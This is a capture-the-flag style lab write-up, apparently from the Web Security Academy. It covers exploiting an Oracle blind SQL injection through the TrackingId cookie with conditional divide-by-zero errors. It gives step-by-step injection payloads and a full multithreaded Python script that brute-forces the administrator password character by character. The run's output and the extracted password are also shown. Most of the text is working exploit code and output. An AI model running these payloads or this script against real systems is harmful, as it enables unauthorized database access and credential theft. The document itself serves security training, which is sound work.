
Entering a single quote in the Tracking cookie gave us an internal server error message.

When we added another ' we did not get an error, so using that we confirmed that there was likely an SQL injection-related vulnerability:

The following payload returned the legitimate page, so we identified that when the SQL was invalid it returned the error page.
'||(SELECT '' FROM dual)||'

Using the error-based injection, we first verified whether the users table existed:
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
As this query did not return an error, we inferred that the table existed. Note that the WHERE ROWNUM = 1 condition was important to prevent the query from returning more than one row, which would have broken our concatenation.


We could also exploit this behavior to test conditions. First, we submitted the following query:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
We verified that an error message was received.

We then changed it to:
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
We verified that the error disappeared. This showed that we could trigger an error conditionally on the truth of a specific condition. The CASE statement tested a condition and evaluated to one expression if the condition was true, and another expression if the condition was false. The former expression contained a divide-by-zero, which caused an error. In this example, the two payloads tested the conditions 1=1 and 1=2, and an error was received when the condition was true.

We used this behavior to test whether specific entries existed in a table. For example, we used the following query to check whether the username administrator existed:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

We used the script below to perform a similar attack to the one in Lab - Blind SQL injection with conditional responses, but we used the error response to brute-force and identify internal data values.
#!/usr/bin/env python3
import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
URL = "https://0ac000c50419324782aec9db00f40022.web-security-academy.net/"
COOKIE_TRACKING_BASE = "JPwSMpugrLQzLiIK"
COOKIE_SESSION = "QarLETQ9cFDleWiseSzOziZPuMyM7waY"
CHARSET = "abcdefghijklmnopqrstuvwxyz0123456789"
MAX_LEN = 30
THREADS = 10
DELAY = 0.05
TIMEOUT = 10
session = requests.Session()
session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
})
session.verify = True
# Send request with payload appended to TrackingId cookie
# Return True if server returned "Internal Server Error"
def send_with_payload(payload):
cookies = {
"TrackingId": COOKIE_TRACKING_BASE + payload,
"session": COOKIE_SESSION
}
try:
r = session.get(URL, cookies=cookies, timeout=TIMEOUT)
return "Internal Server Error" in r.text
except requests.RequestException:
return False
# Test whether LENGTH(password) > n using Oracle error-triggering CASE
def length_gt(n):
payload = ("'||(SELECT CASE WHEN LENGTH(password)>{n} THEN TO_CHAR(1/0) ELSE '' END "
"FROM users WHERE username='administrator')||'").format(n=n)
return send_with_payload(payload)
# Test whether SUBSTR(password,pos,1) = ch using error-triggering CASE
def char_at_equals(pos, ch):
payload = ("'||(SELECT CASE WHEN SUBSTR(password,{pos},1)='{ch}' THEN TO_CHAR(1/0) ELSE '' END "
"FROM users WHERE username='administrator')||'").format(pos=pos, ch=ch)
return send_with_payload(payload)
# Discover password length via binary search
def discover_length(max_len=MAX_LEN):
lo = 0
hi = max_len
while lo < hi:
mid = (lo + hi + 1) // 2
if length_gt(mid):
lo = mid
else:
hi = mid - 1
discovered = lo + 1
return discovered if discovered <= max_len else None
# Extract password one position at a time using concurrent checks over charset
def extract_password(length, charset=CHARSET, threads=THREADS):
password = ["?"] * length
for pos in range(1, length + 1):
found_char = None
def check_char(ch):
return ch if char_at_equals(pos, ch) else None
with ThreadPoolExecutor(max_workers=threads) as ex:
futures = {ex.submit(check_char, ch): ch for ch in charset}
for fut in as_completed(futures):
result = fut.result()
if result:
found_char = result
break
if found_char is None:
print(f"[!] Could not find character for position {pos}", file=sys.stderr)
break
password[pos - 1] = found_char
print(f"[+] Found pos {pos}: {found_char} -> {''.join(password)}")
return "".join(password)
def main():
print("[*] Discovering password length...")
length = discover_length()
if not length or length == 0:
print("[!] Could not determine password length", file=sys.stderr)
sys.exit(1)
print(f"[+] Discovered password length: {length}")
print("[*] Extracting password...")
pwd = extract_password(length)
print("\n=== RESULT ===")
print(f"Password (length {length}): {pwd}")
if __name__ == "__main__":
main()We found the password, logged in as administrator, and solved the lab.
➜ ~ python3 brute.py
[*] Discovering password length...
[+] Discovered password length: 20
[*] Extracting password...
[+] Found pos 1: 2 -> 2???????????????????
[+] Found pos 2: v -> 2v??????????????????
[+] Found pos 3: f -> 2vf?????????????????
[+] Found pos 4: f -> 2vff????????????????
[+] Found pos 5: f -> 2vfff???????????????
[+] Found pos 6: 8 -> 2vfff8??????????????
[+] Found pos 7: e -> 2vfff8e?????????????
[+] Found pos 8: 7 -> 2vfff8e7????????????
[+] Found pos 9: q -> 2vfff8e7q???????????
[+] Found pos 10: p -> 2vfff8e7qp??????????
[+] Found pos 11: 4 -> 2vfff8e7qp4?????????
[+] Found pos 12: 3 -> 2vfff8e7qp43????????
[+] Found pos 13: 4 -> 2vfff8e7qp434???????
[+] Found pos 14: o -> 2vfff8e7qp434o??????
[+] Found pos 15: z -> 2vfff8e7qp434oz?????
[+] Found pos 16: j -> 2vfff8e7qp434ozj????
[+] Found pos 17: a -> 2vfff8e7qp434ozja???
[+] Found pos 18: 5 -> 2vfff8e7qp434ozja5??
[+] Found pos 19: n -> 2vfff8e7qp434ozja5n?
[+] Found pos 20: h -> 2vfff8e7qp434ozja5nh
=== RESULT ===
Password (length 20): 2vfff8e7qp434ozja5nh